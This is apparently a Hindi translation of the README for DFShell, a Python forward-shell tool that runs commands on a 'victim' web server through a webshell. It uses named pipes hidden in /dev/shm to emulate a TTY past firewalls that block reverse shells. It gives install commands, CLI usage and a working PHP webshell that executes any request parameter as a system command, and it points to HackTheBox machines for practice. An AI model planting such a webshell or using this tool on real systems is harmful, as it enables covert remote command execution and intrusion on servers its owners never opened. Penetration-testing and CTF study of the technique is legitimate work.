
Python-आधारित फॉरवर्ड शेल उपकरण जो नामित पाइपों का उपयोग करके HTTP पर TTY-जैसा इंटरैक्टिव शेल बनाता है, जिससे फायरवॉल वाले लक्ष्यों पर बिना स्थायी नेटवर्क कनेक्शन के कमांड निष्पादन संभव होता है।
██████╗ ███████╗███████╗██╗ ██╗███████╗██╗ ██╗
██╔══██╗██╔════╝██╔════╝██║ ██║██╔════╝██║ ██║
██║ ██║█████╗ ███████╗███████║█████╗ ██║ ██║
██║ ██║██╔══╝ ╚════██║██╔══██║██╔══╝ ██║ ██║
██████╔╝██║ ███████║██║ ██║███████╗███████╗███████╗
╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
D3Ext का फॉरवर्ड शेल एक python3 स्क्रिप्ट है जो mkfifo का उपयोग करके पीड़ित मशीन में शेल का अनुकरण करती है। यह /dev/shm/.fs/ में एक छिपी हुई निर्देशिका बनाती है जहाँ fifos संग्रहीत होते हैं। आप वेबशेल पर TTY का भी अनुकरण कर सकते हैं।
यह फॉरवर्ड शेल एक शेल बनाता है जो एक नामित पाइप (mkfifo) के माध्यम से कमांड स्वीकार करता है और परिणामों को एक फ़ाइल में आउटपुट करता है। ऐसा करने से शेल को स्थायी नेटवर्क कनेक्शन की आवश्यकता नहीं होती है, इसलिए आप फ़ायरवॉल के पीछे एक उचित TTY स्थापित कर सकते हैं जो रिवर्स/बाइंड शेल को ब्लॉक करता है।
स्रोत से इंस्टॉल करें
git clone https://github.com/D3Ext/DFShell
cd DFShell
pip3 install -r requirements.txt
pip के साथ इंस्टॉल करें
pip3 install dfshell
DFShell में फॉरवर्ड शेल के कॉन्फ़िगरेशन को बेहतर बनाने के लिए विभिन्न CLI पैरामीटर हैं।
सहायता पैनल
usage: dfshell.py [-h] -u URL -p PARAMETER [-t TIMEOUT] [--path PATH] [-v VERBOSE]
D3Ext's Forward Shell - Enhanced forward shell with integrated commands
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL url of the webshell (i.e. http://10.10.10.10/webshell.php)
-p PARAMETER, --parameter PARAMETER
parameter of the webshell to execute commands (i.e. cmd)
-t TIMEOUT, --timeout TIMEOUT
timeout of requests that execute commands (default 20s)
--path PATH path in which to create named pipes (default /dev/shm/.fs)
-v VERBOSE, --verbose VERBOSE
print more information
यह दिए गए URL पर GET अनुरोध भेजता है, इसलिए वेबशेल कुछ इस प्रकार होना चाहिए:
<?php
if(isset($_REQUEST['cmd']))
{
system($_REQUEST['cmd']);
}
?>
Parrot OS और Apache सर्वर पर परीक्षण किया गया
यदि आप इस उपकरण को नियंत्रित वातावरण में परीक्षण करना चाहते हैं, तो यहाँ HackTheBox मशीनों की एक सूची है जिनमें वेब सर्वर पर फ़ायरवॉल नियम लागू होते हैं, इसलिए फॉरवर्ड शेल सीधे विशेषाधिकार वृद्धि से गुजरने का एक बढ़िया विकल्प है।
@ippsec को इस शानदार तकनीक के लिए धन्यवाद
https://github.com/IppSec/forward-shell
https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux#forward-shell
https://www.f5.com/labs/learning-center/forward-and-reverse-shells
https://github.com/Hypnoze57/FShell
https://s4vitar.github.io/ttyoverhttp/
CONTRIBUTING.md देखें
CHANGELOG.md देखें
यह प्रोजेक्ट MIT लाइसेंस के अंतर्गत है
कॉपीराइट © 2023, D3Ext